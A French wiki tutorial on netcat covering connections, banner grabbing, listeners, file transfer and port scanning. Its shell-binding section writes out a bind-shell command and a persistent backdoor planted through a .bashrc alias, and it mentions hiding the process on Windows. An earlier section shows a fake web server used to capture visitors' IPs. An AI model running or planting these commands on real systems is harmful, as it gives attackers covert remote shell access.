Netcat
Un article de SeRoM - Wiki.
Sommaire |
[modifier] Netcat Client
permet de se connecter a un socket, exemple :
nc -vv ftp.oleane.fr 21 : connection a un server ftp ici (vv permet d avoir des details sur la connection)
ou encore :
netcat xen-lo.no-ip.org 80
une fois connecté on tape la commande : GET voici le resultat
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://localhost.localdomain/apache2-default/">here</a>.</p> <hr> <address>Apache/2.0.54 (Debian GNU/Linux) PHP/5.1.6-1~bpo.1 Server at localhost.localdomain Port 80</address> </body></html>
(ce qui peut s'averer utile pour receuillir des info sur le server web : Apache/2.0.54 (Debian GNU/Linux) PHP/5.1.6-1~bpo.1
[modifier] Netcat Server
dialoguer via netcat :
nc -l -p 69
lance un serveur sur le port 69 (-l = listen)
nc 192.168.1.2 -p 69
se connecte au server, on obtien donc un canal de communication
nc -l -p 69 -w 10
la connection ne dure que 10 seconde
[modifier] creer un faux server web
nc -l -p 80 -vv > log.txt
permet de creer un socket sur le port 80 et de rediriger les donnée recue dans log.txt, on pourra par exemple recuperer l'ip de quelqu'un allant sur le server avec un browser
exemple des infos que l'on peut recuperer : cat log.txt
GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive
[modifier] transfert de fichier
le server attends une image :
nc -vv -l -p 700 > img.jpg : attends une image sur le port 700
le client envoie une image :
nc -vv 192.168.1.2 -p 700 < img.jpg : le client envoie une image sur le port 700
[modifier] port scan
nc 192.168.1.2 1-100 -w 1 -vv
netcat va esseyer de se connecter aux port entre 1 et 100 de l adresse ip 192.168.1.2 pendant 1 seconde de connection
nc 192.168.1.2 1-100 -w 1 -i 100000 -vv
permet de specifier un interval de temps entre chaque port
nc 192.168.1.2 1-100 -r -w 1 -vv
permet de scanner les port aleatoirement
[modifier] Shell binding
netcat peut permettre de creer un acces au shell en ajoutant l'option -e exemple :
nc -l -p 10000 -e /bin/bash
apres la connection d'un client, netcat va lier le client a l application specifier. (peux eventuelment servir backdoor ... exemple :
echo "alias ls=ls && nc -l p 12345 -e /bin/sh&" >> ~./.bashrc
l'utilisateur lancera une backdoor (un shell qui attend une connection sur le port 12345) apres avoir fait un ls ... )
remarque : sous windows, l'option -d permet de cacher l'application du gestionnaire des taches.
netcat peut aussi permettre de se connecter a un application via un certain port. exemple :
nc -vvv irc.worldnet.net 6667 -p 60000
se connectera au server irc 6667 a partir de notre port 60000 .

